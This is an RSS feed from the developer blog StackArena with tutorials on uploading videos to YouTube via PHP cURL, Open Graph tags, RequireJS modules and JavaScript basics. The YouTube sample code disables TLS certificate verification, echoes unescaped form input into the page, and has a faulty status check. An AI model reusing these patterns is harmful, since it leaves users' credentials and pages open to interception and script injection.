<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>StackArena</title>
	<atom:link href="http://www.stackarena.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.stackarena.com</link>
	<description>developers junkyard!</description>
	<lastBuildDate>Thu, 09 May 2013 21:16:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>Uploading videos to YouTube from your website in PHP</title>
		<link>http://www.stackarena.com/2013/03/uploading-videos-to-youtube-from-your-website-in-php-2/</link>
		<comments>http://www.stackarena.com/2013/03/uploading-videos-to-youtube-from-your-website-in-php-2/#disqus_thread</comments>
		<pubDate>Mon, 25 Mar 2013 18:52:59 +0000</pubDate>
		<dc:creator>Tunde Olabenjo</dc:creator>
				<category><![CDATA[PHP]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[upload]]></category>
		<category><![CDATA[videos]]></category>
		<category><![CDATA[youtube]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/2013/03/uploading-videos-to-youtube-from-your-website-in-php-2/</guid>
		<description><![CDATA[Today, I&#8217;m going to talk about uploading videos to YouTube in PHP from your website. First, you&#8217;ll need a YouTube account and a developer key. To get your developer key, visit http://code.google.com/apis/youtube/dashboard/ Let&#8217;s begin with the codes First, we would &#8230; <a href="http://www.stackarena.com/2013/03/uploading-videos-to-youtube-from-your-website-in-php-2/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Today, I&#8217;m going to talk about uploading videos to YouTube in PHP from your website. First, you&#8217;ll need a YouTube account and a developer key. To get your developer key, visit <a href="http://code.google.com/apis/youtube/dashboard/" title="http://code.google.com/apis/youtube/dashboard/" target="_blank">http://code.google.com/apis/youtube/dashboard/</a> </p>
<p><img src="http://img.stackarena.com/2013/03/devkey-1024x432.png" alt="" title="devkey" width="620" height="261" class="aligncenter size-large wp-image-727" /></p>
<h2>Let&#8217;s begin with the codes</h2>
<p>First, we would need our YouTube account and your developer key,<br />
<pre class="prettyprint"><code>$youtube_email = &quot;youtube-email&quot;; // Change this to your youtube sign in email.
$youtube_password = &quot;your-youtube-password&quot;; // Change this to your youtube sign in password.
    // Developer key: Get your key here: http://code.google.com/apis/youtube/dashboard/.
$key = &quot;your-dev-key&quot;;</code></pre></p>
<p>Next we need to setup CURL to access YouTube servers and login.</p>
<p><pre class="prettyprint"><code>    $source = &#039;Akpos Jokes&#039;; // A short string that identifies your application for logging purposes.
    $postdata = &quot;Email=&quot;.$youtube_email.&quot;&amp;Passwd=&quot;.$youtube_password.&quot;&amp;service=youtube&amp;source=&quot; . $source;
    $curl = curl_init( &quot;https://www.google.com/youtube/accounts/ClientLogin&quot; );
    curl_setopt( $curl, CURLOPT_HEADER, &quot;Content-Type:application/x-www-form-urlencoded&quot; );
    curl_setopt( $curl, CURLOPT_POST, 1 );
    curl_setopt( $curl, CURLOPT_POSTFIELDS, $postdata );
    curl_setopt( $curl, CURLOPT_SSL_VERIFYPEER, 0 );
    curl_setopt( $curl, CURLOPT_RETURNTRANSFER, 1 );
    curl_setopt( $curl, CURLOPT_SSL_VERIFYHOST, 1 );
    $response = curl_exec( $curl );
    curl_close( $curl );</code></pre></p>
<p>Below is the code that enables us to get our Access Token and username from YouTube.</p>
<p><pre class="prettyprint"><code>list( $auth, $youtubeuser ) = explode( &quot;\n&quot;, $response );
list( $authlabel, $authvalue ) = array_map( &quot;trim&quot;, explode( &quot;=&quot;, $auth ) );
list( $youtubeuserlabel, $youtubeuservalue ) = array_map( &quot;trim&quot;, explode( &quot;=&quot;, $youtubeuser ) );</code></pre></p>
<p>Once we are authenticated and have gotten our Token we need to begin uploading the videos. Here is the Schema:</p>
<p><pre class="prettyprint"><code>&lt;?xml version=&quot;1.0&quot;?&gt;
&lt;entry xmlns=&quot;http://www.w3.org/2005/Atom&quot;
  xmlns:media=&quot;http://search.yahoo.com/mrss/&quot;
  xmlns:yt=&quot;http://gdata.youtube.com/schemas/2007&quot;&gt;
  &lt;media:group&gt;
    &lt;media:title type=&quot;plain&quot;&gt;Bad Wedding Toast&lt;/media:title&gt;
    &lt;media:description type=&quot;plain&quot;&gt;
      I gave a bad toast at my friend&#039;s wedding.
    &lt;/media:description&gt;
    &lt;media:category
      scheme=&quot;http://gdata.youtube.com/schemas/2007/categories.cat&quot;&gt;People
    &lt;/media:category&gt;
    &lt;media:keywords&gt;toast, wedding&lt;/media:keywords&gt;
  &lt;/media:group&gt;
&lt;/entry&gt;</code></pre></p>
<p>Now, to push this in PHP we do this:</p>
<p><pre class="prettyprint"><code>$youtube_video_title = $video_title; // This is the uploading video title.
    $youtube_video_description = $video_description; // This is the uploading video description.   
    $youtube_video_keywords = &quot;jokes &quot;.$video_keywords; // This is the uploading video keywords.
    $youtube_video_category = &quot;Comedy&quot;; // This is the uploading video category. There are only certain categories that are accepted. See below 
    
    $data = &#039;&lt;?xml version=&quot;1.0&quot;?&gt;
                &lt;entry xmlns=&quot;http://www.w3.org/2005/Atom&quot;
                  xmlns:media=&quot;http://search.yahoo.com/mrss/&quot;
                  xmlns:yt=&quot;http://gdata.youtube.com/schemas/2007&quot;&gt;
                  &lt;media:group&gt;
                    &lt;media:title type=&quot;plain&quot;&gt;&#039; . stripslashes( $youtube_video_title ) . &#039;&lt;/media:title&gt;
                    &lt;media:description type=&quot;plain&quot;&gt;&#039; . stripslashes( $youtube_video_description ) . &#039;&lt;/media:description&gt;
                    &lt;media:category
                      scheme=&quot;http://gdata.youtube.com/schemas/2007/categories.cat&quot;&gt;&#039;.$youtube_video_category.&#039;&lt;/media:category&gt;
                    &lt;media:keywords&gt;&#039;.$youtube_video_keywords.&#039;&lt;/media:keywords&gt;
                  &lt;/media:group&gt;
                &lt;/entry&gt;&#039;;

    $headers = array( &quot;Authorization: GoogleLogin auth=&quot;.$authvalue,
                 &quot;GData-Version: 2&quot;,
                 &quot;X-GData-Key: key=&quot;.$key,
                 &quot;Content-length: &quot;.strlen( $data ),
                 &quot;Content-Type: application/atom+xml; charset=UTF-8&quot; );

$curl = curl_init( &quot;http://gdata.youtube.com/action/GetUploadToken&quot;);
curl_setopt( $curl, CURLOPT_USERAGENT, $_SERVER[&quot;HTTP_USER_AGENT&quot;] );
curl_setopt( $curl, CURLOPT_RETURNTRANSFER, true );
curl_setopt( $curl, CURLOPT_TIMEOUT, 10 );
curl_setopt( $curl, CURLOPT_SSL_VERIFYPEER, false );
curl_setopt( $curl, CURLOPT_POST, 1 );
curl_setopt( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt( $curl, CURLOPT_HTTPHEADER, $headers );
curl_setopt( $curl, CURLOPT_POSTFIELDS, $data );
curl_setopt( $curl, CURLOPT_REFERER, true );
curl_setopt( $curl, CURLOPT_FOLLOWLOCATION, 1 );
curl_setopt( $curl, CURLOPT_HEADER, 0 );

$response = simplexml_load_string( curl_exec( $curl ) );
curl_close( $curl );</code></pre></p>
<p>Once we get the response after setting our Category, Video Title, Description and keywords, we get a token that allows up to upload the video file to YouTube&#8217;s servers. </p>
<p>The <code>$response</code> variable receives the response from YouTube and we can then access all the information we need to upload the video e.g <code>$response-&gt;token</code> is our token <code>$response-&gt;url</code> is the url where we upload the video file to.</p>
<p>Here are the acceptable categories for a video on YouTube:</p>
<p><pre class="prettyprint"><code>        Film
        Autos
        Music
        Animals
        Sports
        Travel
        Shortmov
        Games
        Videblog
        People
        Comedy
        Entertainment
        News
        Howto
        Education
        Tech
        Nonprofit
        Movies
        Movies_anime_action
        Movies_action_adventure
        Movies_classics
        Movies_comedy
        Movies_documentary
        Moves_drama
        Movies_family
        Movies_foreign
        Movies_horror
        Movies_sci_fi_fantasy
        Movies_thriller
        Movies_shorts
        Shows
        Trailers</code></pre></p>
<h2>The uploading process</h2>
<p>The response we get from this allows us to get the url to upload the video to. Now to upload the video, we need a form and the YouTube url where our video will be uploaded to.</p>
<p>Here is our upload form.</p>
<p><pre class="prettyprint"><code>&lt;body&gt;
        
        &lt;?php        
        //If the 1st step form has been submited, run the token script.
        if( isset( $_POST[&#039;video_title&#039;] ) &amp;&amp; isset( $_POST[&#039;video_description&#039;] ) ) {
            $video_title = stripslashes( $_POST[&#039;video_title&#039;] );
            $video_description = stripslashes( $_POST[&#039;video_description&#039;] );
      $video_keywords = stripslashes( $_POST[&#039;video_keywords&#039;] );
            include_once( &#039;get_youtube_token.php&#039; ); //this gets our $response above
        }
        
        // Specifies the url that youtube will return to. The data it returns are as get variables         
        $nexturl = &quot;http://your-url/&quot;;
        // These are the get variables youtube returns once the video has been uploaded.
        $unique_id = $_GET[&#039;id&#039;];
        $status = $_GET[&#039;status&#039;];
        ?&gt;
        
        &lt;!-- Step 1 of the youtube upload process --&gt;
        &lt;?php if( empty( $_POST[&#039;video_title&#039;] ) &amp;&amp; $unique_id == &quot;&quot; ) : ?&gt;                    
            &lt;form action=&quot;&lt;?php echo $_SERVER[&#039;PHP_SELF&#039;]; ?&gt;&quot; method=&quot;post&quot;&gt;                
                &lt;label for=&quot;video_title&quot;&gt;Video Title&lt;/label&gt;
                &lt;input type=&quot;text&quot; name=&quot;video_title&quot; maxlength=&quot;100&quot; /&gt;
                &lt;label for=&quot;video_description&quot;&gt;Video Description&lt;/label&gt;
                &lt;textarea id=&quot;video-description&quot; maxlength=&quot;2000&quot; name=&quot;video_description&quot;&gt;&lt;/textarea&gt;
         &lt;label for=&quot;video_title&quot;&gt;Video Keywords(e.g jokes, funny, etc)&lt;/label&gt;
                &lt;input type=&quot;text&quot; name=&quot;video_keywords&quot; maxlength=&quot;20&quot;/&gt;
                &lt;input type=&quot;submit&quot; value=&quot;Step 2&quot; /&gt;
            &lt;/form&gt; &lt;!-- /form --&gt;

        &lt;!-- Step 2 --&gt;           
        &lt;?php elseif( $response-&gt;token != &#039;&#039; ) : ?&gt;                        
            &lt;h4&gt;Title:&lt;/h4&gt;
            &lt;p&gt;&lt;?php echo $video_title; ?&gt;&lt;/p&gt;
            &lt;h4&gt;Description:&lt;/h4&gt;
            &lt;p&gt;&lt;?php echo $video_description; ?&gt;&lt;/p&gt;
       &lt;h4&gt;Keywords:&lt;/h4&gt;
            &lt;p&gt;&lt;?php echo $video_keywords; ?&gt;&lt;/p&gt;
            &lt;form action=&quot;&lt;?php echo( $response-&gt;url ); ?&gt;?nexturl=&lt;?php echo( urlencode( $nexturl ) ); ?&gt;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
                &lt;p class=&quot;block&quot;&gt;
                    &lt;label&gt;Upload Video&lt;/label&gt;
                    &lt;span class=&quot;youtube-input&quot;&gt;
                        &lt;input id=&quot;file&quot; type=&quot;file&quot; name=&quot;file&quot; /&gt;
                    &lt;/span&gt;                        
                &lt;/p&gt;
                &lt;input type=&quot;hidden&quot; name=&quot;token&quot; value=&quot;&lt;?php echo( $response-&gt;token ); ?&gt;&quot;/&gt;
                &lt;input type=&quot;submit&quot; value=&quot;Upload Video&quot; /&gt;
            &lt;/form&gt; &lt;!-- /form --&gt;
            
        &lt;!-- Final Step --&gt;
        &lt;?php elseif( $unique_id != &#039;&#039; &amp;&amp; $status = &#039;200&#039; ) : ?&gt;        
        &lt;div id=&quot;video-success&quot;&gt;
            &lt;h4&gt;Video Successfully Uploaded!&lt;/h4&gt;
            &lt;p&gt;Here is your url to view your video:&lt;a href=&quot;http://www.youtube.com/watch?v=&lt;?php echo $unique_id; ?&gt;&quot; target=&quot;_blank&quot;&gt;http://www.youtube.com/watch?v=&lt;?php echo $unique_id; ?&gt;&lt;/a&gt;&lt;/p&gt;
        &lt;/div&gt; &lt;!-- /div#video-success --&gt;
        &lt;?php endif; ?&gt;
        
    &lt;/body&gt;</code></pre></p>
<p>Basically, what we did above is to get our upload url <code>$response-&gt;url</code> and token and then send our video to that url. A status code <code>200</code> shows that our upload was successful.</p>
<p><img src="http://img.stackarena.com/2013/03/upld.png" alt="" title="upld" width="259" height="227" class="alignleft size-full wp-image-734" /></p>
<p><pre class="prettyprint"><code>&lt;?xml version=&#039;1.0&#039; encoding=&#039;UTF-8&#039;?&gt;
&lt;response&gt;
  &lt;url&gt;http://uploads.gdata.youtube.com/action/FormDataUpload/AEF3087AUD&lt;url&gt;
  &lt;token&gt;AEwbFAQEvf3xox...&lt;/token&gt;
&lt;/response&gt;</code></pre></p>
<p>You need to add the nexturl parameter to the form&#8217;s target URL. This parameter specifies the URL to which YouTube will redirect the user&#8217;s browser when the user uploads his video file. After the video is uploaded in the browser, the user will be redirected to the nexturl URL</p>
<p>I have attached the full source code to this article for you to work with.</p>
<p>Comment below if you have any issues or questions. </p>
<p>&#8220;You must be either the copyright holder or the authorized representative of the copyright owner for all video files that you deliver to YouTube. Similarly, users who upload videos to YouTube from your site must be either the copyright holder or the authorized representative of the copyright owner for all videos that they upload.&#8221; &#8211; YouTube.</p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2013/03/files.zip" title="files" id="attachment-wrapper">files</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2013/03/uploading-videos-to-youtube-from-your-website-in-php-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Making sure your shared post thumbnail is the right one</title>
		<link>http://www.stackarena.com/2013/03/making-sure-your-shared-post-thumbnail-is-the-right-one/</link>
		<comments>http://www.stackarena.com/2013/03/making-sure-your-shared-post-thumbnail-is-the-right-one/#disqus_thread</comments>
		<pubDate>Mon, 25 Mar 2013 13:05:17 +0000</pubDate>
		<dc:creator>Adeniyi Adekoya</dc:creator>
				<category><![CDATA[HTML5/CSS3]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[facebook]]></category>
		<category><![CDATA[share buttons]]></category>
		<category><![CDATA[social media]]></category>
		<category><![CDATA[social sharing]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=710</guid>
		<description><![CDATA[Social share buttons have become very popular these days and you seem to find them on almost every website. They simply share content to the user&#8217;s friends and fans on social platforms and has become a useful tool in web &#8230; <a href="http://www.stackarena.com/2013/03/making-sure-your-shared-post-thumbnail-is-the-right-one/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Social share buttons have become very popular these days and you seem to find them on almost every website. They simply share content to the user&#8217;s friends and fans on social platforms and has become a useful tool in web marketing.</p>
<p>The buttons by default share an image on the current page of the site and an excerpt with a link back to your site. Most times shared buttons get it right. They picked the right image with the right content. But when they get it wrong, it could <a href="http://nubikay.wordpress.com/2013/03/25/your-facebook-shared-posts-thumbnail-matters/" target="_blank">cause you a bit of harm</a>.</p>
<p>Some of the share buttons implement an image picker where the person sharing can choose from a range of images or simply delete the image. The Facebook share buttons by default do not offer this (to the best of my knowledge as at this time) and this could also cause a wrong image to object mapping if you also use the Facebook recommendation box on your site.</p>
<p>Facebook is not ignorant of this as they have made provision to correct or ensure the right image to object mapping is done. Add the following Open Graph protocol <code>&lt;meta&gt;</code> tags to the head of your webpages with their respective values.<br />
<pre class="prettyprint"><code>&lt;meta property=&quot;og:title&quot; content=&quot;Title of content&quot;/&gt;
&lt;meta property=&quot;og:url&quot; content=&quot;current url&quot;/&gt;
&lt;meta property=&quot;og:image&quot; content=&quot;url to image&quot;/&gt;
&lt;meta property=&quot;og:site_name&quot; content=&quot;Name of site&quot;/&gt;
&lt;meta property=&quot;og:description&quot; content=&quot;Description of site or content&quot;/&gt;</code></pre>
<ul>
<li>og:title &#8211; The title of your object.</li>
<li>og:image &#8211; An image URL which should represent your object within the graph. The image must be at least 50px by 50px, although a minimum 200px by 200px is preferred and 1500px by 1500px is recommended for the best possible user experience. The image can have a maximum aspect ratio of 3:1. Supported formats are PNG, JPEG and GIF. You may include multiple og:image tags to associate multiple images with your page. (Note: image sizes must be no more than 5MB in size.)</li>
<li>og:url &#8211; The canonical URL of your object</li>
</ul>
<p><strong>Note</strong>: If you are implementing this on an already running site, it may take a while for you to start noticing changes.</p>
<p>Click <a href="http://developers.facebook.com/docs/opengraphprotocol/" target="_blank">here</a> to learn more about Open Graph protocol</p>
]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2013/03/making-sure-your-shared-post-thumbnail-is-the-right-one/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Introduction to Asynchronous Module Dependency in JavaScript with RequireJS</title>
		<link>http://www.stackarena.com/2012/09/introduction-to-asynchronous-module-dependency-in-javascript-with-requirejs/</link>
		<comments>http://www.stackarena.com/2012/09/introduction-to-asynchronous-module-dependency-in-javascript-with-requirejs/#disqus_thread</comments>
		<pubDate>Sat, 01 Sep 2012 17:20:29 +0000</pubDate>
		<dc:creator>Remy</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[dom]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=694</guid>
		<description><![CDATA[Why AMD? The AMD format comes from wanting a module format that was better than today&#8217;s &#8220;write a bunch of script tags with implicit dependencies that you have to manually order&#8221; and something that was easy to use directly in &#8230; <a href="http://www.stackarena.com/2012/09/introduction-to-asynchronous-module-dependency-in-javascript-with-requirejs/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><strong>Why AMD?</strong></p>
<blockquote><p>The AMD format comes from wanting a module format that was better than today&#8217;s &#8220;write a bunch of script tags with implicit dependencies that you have to manually order&#8221; and something that was easy to use directly in the browser. Something with good debugging characteristics that did not require server-specific tooling to get started. It grew out of Dojo&#8217;s real world experience with using XHR+eval and and wanting to avoid its weaknesses for the future.<br />
It is an improvement over the web&#8217;s current &#8220;globals and script tags&#8221; because:<br />
Uses the CommonJS practice of string IDs for dependencies. Clear declaration of dependencies and avoids the use of globals.<br />
IDs can be mapped to different paths. This allows swapping out implementation. This is great for creating mocks for unit testing. For the above code sample, the code just expects something that implements the jQuery API and behavior. It does not have to be jQuery.<br />
Encapsulates the module definition. Gives you the tools to avoid polluting the global namespace.<br />
Clear path to defining the module value. Either use &#8220;return value;&#8221; or the CommonJS &#8220;exports&#8221; idiom, which can be useful for circular dependencies.<br />
It is an improvement over CommonJS modules because:<br />
It works better in the browser, it has the least amount of gotchas. Other approaches have problems with debugging, cross-domain/CDN usage, file:// usage and the need for server-specific tooling.<br />
Defines a way to include multiple modules in one file. In CommonJS terms, the term for this is a &#8220;transport format&#8221;, and that group has not agreed on a transport format.<br />
Allows setting a function as the return value. This is really useful for constructor functions. In CommonJS this is more awkward, always having to set a property on the exports object. Node supports module.exports = function () {}, but that is not part of a CommonJS spec.</p></blockquote>
<p>culled from <a href="http://requirejs.org" title="Why AMD ?">RequireJS</a></p>
<p>Now we will create a simple application called nairaland application what it does is simply list all the banned members from the Database(obviously lietral objects) but we will do it in a manner that is modular and easy to do.<br />
first create a simple html.<br />
<pre class="prettyprint"><code>&lt;html&gt;
&lt;head&gt;
&lt;title&gt;&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
&lt;/body&gt;
&lt;/html&gt;</code></pre><br />
Now that we have the html file,we need to download the RequireJS library, for Dojo user it comes with Dojo but this is a general tutorial so no dojo involved here.<br />
<a href="http://requirejs.org/docs/release/2.0.6/comments/require.js" title="RequireJS Library">RequireJS Library</a></p>
<p>Download the require.js file and in the html add the file with the tag<br />
<code>&lt;script src=&quot;require.js&quot; type=&quot;text/javascript&quot;&gt;&lt;/script&gt;</code><br />
Next we need to create the nairaland application so we create a js file called &#8220;nairaland.js&#8221;<br />
<pre class="prettyprint"><code>define([&quot;banned&quot;],function(e){

  var obj= {
    forum:&quot;Nairaland&quot;,
    country:&quot;Nigeria&quot;,
    type:&quot;Open Forum&quot;,
    owner:&quot;Seun Orewa&quot;,
    hasMultiRooms:true,
    bannedMembers:e.getBannedMember()
    
  };

  return obj;
});</code></pre><br />
What &#8220;define&#8221; does is to create a module,you have the option of passing a function if you need to setup some connections,now because i want the module to just simply return an object, i passed a function which returns &#8220;obj&#8221;,if you look at the first parameter it has an array argument with the name &#8220;banned&#8221;, the banned refers to a dependency,meaning a file that this nairaland will require before it returns the nairaland object,think of it as php include and java import.While the files loads the result of the file is being passed as an argument to the callback,this is an asynchronous operation because we have no idea when the file will finish, a callback is registered, once it finish it passes the result as an argument to the callback function.The &#8220;banned.js&#8221; will simply be a (class or Object or a Module) in the first parameter, so before i jump into that let&#8217;s create the &#8220;banned&#8221; class first.</p>
<p><strong>Banned Class</strong><br />
we will create another file called &#8220;banned.js&#8221;<br />
<pre class="prettyprint"><code>define(function(){
        //bannedMembers is a literal Object that holds an array which holds an Objects of data which represents our banned Entity in Real Life Applications these source can from Ajax,LocalStorage or even SqLite
  var bannedMembers={
    list:[{
        name:&quot;dhtml&quot;,
           meta:{
      reason:&#039;attempting to hack nairaland and spanbot-killer&#039;,
      banned_durations:&#039;2 weeks&#039;,
      limited_access:&#039;true&#039;
          }

        },
        {
        name:&quot;yawatode&quot;,
           meta:{
      reason:&#039;too much SEO advise :&#039;,
      banned_durations:&#039;2 weeks&#039;,
      limited_access:&#039;true&#039;
          }

        },
        {
        name:&quot;donpuzo&quot;,
           meta:{
      reason:&#039;Disturbing potential female programmers on nairaland&#039;,
      banned_durations:&#039;4 weeks&#039;,
      limited_access:&#039;true&#039;
          }

        },
         {
        name:&quot;omo_to_dun&quot;,
           meta:{
      reason:&#039;SpamBot personal reason&#039;,
      banned_durations:&#039;4 weeks&#039;,
      limited_access:&#039;true&#039;
          }

        }]
  }

      
    

//create an object that returns a the list through the use of Closure
return {
  getBannedMember:function(){
    return bannedMembers.list;
  }
};
});</code></pre><br />
As usual we create the define to create a module, then pass a function because i dont want the nairaland class to have access to the list so i return an object with a function &#8220;getBannedMember&#8221; that returns the list data through the help of a <a href="http://james.padolsey.com/javascript/closures-in-javascript/" title="Closure in JS">Closure</a>. &#8220;Closure is a complicated thing to explain&#8221;,now our banned module will return an object with the method getBannedMember which is just a simple literal objects of keys and value. lets jump back to &#8220;nairaland.js&#8221;.<br />
<pre class="prettyprint"><code>define([&quot;banned&quot;],function(e){

}</code></pre><br />
because the banned file is in the same folder i just simply use the name &#8220;banned&#8221; which will translate to banned.js</p>
<p>now our <strong>&#8220;e&#8221;</strong> is the result of banned.js which is our object now thanks to this pattern i no longer have to worry about my empty object being attached to Global object,&#8221;e&#8221; is my banned Object which returned after loading the &#8220;banned.js&#8221;.<br />
<code>e.getBannedMember()</code><br />
so i now have access to the method with ease and this is awesome because if i wanted to change the implementation i can easily go to banned.js and change what i what.</p>
<p><strong>How to Use in the HTML Page</strong><br />
<pre class="prettyprint"><code>//You can attach this to a jQuery Ready or Document.onload function when the DOM is ready to use
require([&quot;nairaland&quot;],function(a){
//code goes here
});</code></pre><br />
this will load nairaland.js which in turn will also load banned.js,dependency files are always loaded first so no more worries about the order of placing scripts like jquery users usually face when they put the &#8220;jquery.js&#8221; after a Script that uses jQuery.<br />
<pre class="prettyprint"><code>require([&quot;nairaland&quot;],function(a){ //remember a is the nairaland object
                //a.bannedMembers takes the list from the return method of getBannedMembers so a.bannedMembers is an array

                //an array has a function forEach that allows you iterate over its item it takes a function with item as the argument
    a.bannedMembers.forEach(function(item){
                //this will get the div with the id list
    var doc=document.getElementById(&#039;list&#039;);
                //appends to the html values from the object
    doc.innerHTML+=&#039;&lt;p&gt;Banned Member Name:&#039;+item.name+&#039;&lt;/p&gt;&lt;hr /&gt;&#039;;
                //now remember that the banned members is an array of objects in each item in the array is an object with name and meta and meta
                //is also an object so we traverse/scan each property in the meta object
               //for in is used for objects where i the property, you should know that function is also a property think of it as a hash dictionary obj[&#039;onclick&#039;]

                //dump our datas and thats all
    for(var i in item.meta){
      doc.innerHTML+=&quot;&lt;p&gt;&lt;strong&gt;&quot;+i+&quot;&lt;/strong&gt;=&gt;&quot;+item.meta[i]+&quot;&lt;/p&gt;&quot;;
    }
    doc.innerHTML+=&quot;&lt;hr /&gt;&quot;;
      
    });
  });</code></pre></p>
<p><strong>NOTE</strong>: i have attached the files for this Tutorial, you might ask why bother ? well you should bother if you really love to write clean codes and also a little bit of secret; getting comfy with AMD is a step closer to learning all frameworks even NodeJS as most frameworks are adopting the AMD pattern, even the DojoToolkit.</p>
<div class="clear"></div><div class="wpuf-attachments"><h2>Resources</h2><div><a href="http://img.stackarena.com/2012/08/App.rar" title="App" id="attachment-wrapper">App</a></div></div>]]></content:encoded>
			<wfw:commentRss>http://www.stackarena.com/2012/09/introduction-to-asynchronous-module-dependency-in-javascript-with-requirejs/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>A Guide before Learning a New JavaScript Framework</title>
		<link>http://www.stackarena.com/2012/08/a-guide-before-learning-a-new-javascript-framework/</link>
		<comments>http://www.stackarena.com/2012/08/a-guide-before-learning-a-new-javascript-framework/#disqus_thread</comments>
		<pubDate>Tue, 28 Aug 2012 13:38:49 +0000</pubDate>
		<dc:creator>Remy</dc:creator>
				<category><![CDATA[Javascript]]></category>
		<category><![CDATA[Jquery]]></category>
		<category><![CDATA[Libraries and Frameworks]]></category>
		<category><![CDATA[Web Development]]></category>
		<category><![CDATA[dom]]></category>
		<category><![CDATA[framework]]></category>
		<category><![CDATA[javascript]]></category>
		<category><![CDATA[jqyery]]></category>
		<category><![CDATA[js]]></category>

		<guid isPermaLink="false">http://www.stackarena.com/?p=687</guid>
		<description><![CDATA[This tutorial is aimed at Web Developers, planning to take up a JavaScript framework, it is assumed that the developer is already familiar with the basic JavaScript usage, as we will be jumping into intermediate aspect of JavaScript; though at &#8230; <a href="http://www.stackarena.com/2012/08/a-guide-before-learning-a-new-javascript-framework/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>This tutorial is aimed at Web Developers, planning to take up a JavaScript framework, it is assumed that the developer is already familiar with the basic JavaScript usage, as we will be jumping into intermediate aspect of JavaScript; though at certain points I will make references to basic foundation knowledge.</p>
<p>JavaScript Frameworks are codes, functions, paradigms written in ways to help developers create short codes with maximum compatibility. They are structured in such a way that non-JavaScript users can easily grasp the codes with little lines; However due to the fact that developers are more familiar with the framework than the language itself, coders often get frustrated especially when they get errors that offer little or no explanation. We will cover certain aspects of JavaScript and good practices to adhere to.</p>
<p><img src="http://www.codeproject.com/KB/books/JavaScript_Programmers/10fig06.jpg" alt="HTML DOM" /></p>
<p>According to Sang Shin he defined “DOM” as </p>
<blockquote><p>The HTML DOM defines a standard set of objects for HTML, and a standard way to access and manipulate HTML documents.</p>
<p>All HTML elements, along with their containing text and attributes, can be accessed through the DOM.</p>
<p>The contents can be modified or deleted, and new elements can be created.</p>
<p>The HTML DOM is platform and language independent. It can be used by any programming language like Java, JavaScript, and VBScript</p></blockquote>
<p>The <strong>Document Object Model (DOM)</strong> is a powerful tool for manipulating Documents and elements in the browser, however DOM Manipulation is quite tricky and complex and various client browser support certain features and some don’t, which is where frameworks come in, they handle the compatibility issue leaving you to focus on the logical layer. However a good insight into DOM is worth your time.</p>
<h2>Understanding Objects and Functions</h2>
<p>JavaScript is quite confusing especially when it comes to defining Functions and Objects, languages like PHP, Ruby and C defines functions as a method (performing an action). However in JavaScript it is quite different, the single tip i will give you to memorize is that</p>
<blockquote><p>EVERY FUNCTION IS AN OBJECT</p></blockquote>
<p>Functions in JS are first class objects according to Sang Shin.</p>
<p>Functions can contain variables and function (closure) like Objects. Functions can perform the same operations as objects. A function is a type of Object.<br />
<pre class="prettyprint"><code>//Creating a Simple Function in JS
function MyFunc(value)
{
    alert(value);
}
//Now Lets’s Add Some Variables like An Object Does
function MyFunc(value)
{
    if(value)
    {
        this.innervar=value;
    }
    return this.innervar;
}
//Another Way of Calling a Function
var Test=function(value)
{
    alert(&quot;I am a function&quot;);
}
//Calling the Function
Test(); //I am a function</code></pre><br />
There are times we might need to create anonymous functions, these are functions that are self-invoking, they invoke immediately. They are usually used as callbacks or associated with events handlers. Jquery use anonymous functions especially in the creation of plugins.<br />
<pre class="prettyprint"><code>(function(){
    alert(&quot;I will Run first before any function if not attached to any event handler&quot;);
})</code></pre></p>
<h2>What the Hell is &#8211; “THIS”</h2>
<p>Unlike other programming languages <code>this</code> in PHP, C, C++, Java refers to the Class, however in JavaScript carrying that knowledge will throw you into an abyss of frustration and confusion. At times you might begin to doubt your intellect but don’t; the <code>this</code> keyword in JS refers to an Object calling a method.<br />
<pre class="prettyprint"><code>var car=new function()
{
    car.model=&quot;toyota&quot;;
    // this adds a variable ”model” to the car Object

    this.color=&quot;red&quot;
    //However at this level this refers to the Car Object so this is far more preferable
}
</code></pre><br />
When dealing with <code>this</code>, especially in Plugin creation and DOM Querying it is advisable to store the <code>this</code> to a variable for easy reference.</p>
<h2>Knowing Your Objects</h2>
<p>For the sake of simplicity, I will not jump into an in-depth explanation of Objects because JavaScript is basically all about Objects, a brief introduction and use will suffice. Objects are easy to create however in certain languages Objects cannot have dynamic properties added to it, but JS does.<br />
<pre class="prettyprint"><code>//Creating an Object the traditional way
var phone=new Object();
phone.name=&quot;Android&quot;;
phone._isFlashSupported=true;
phone._3dEnabled=true;
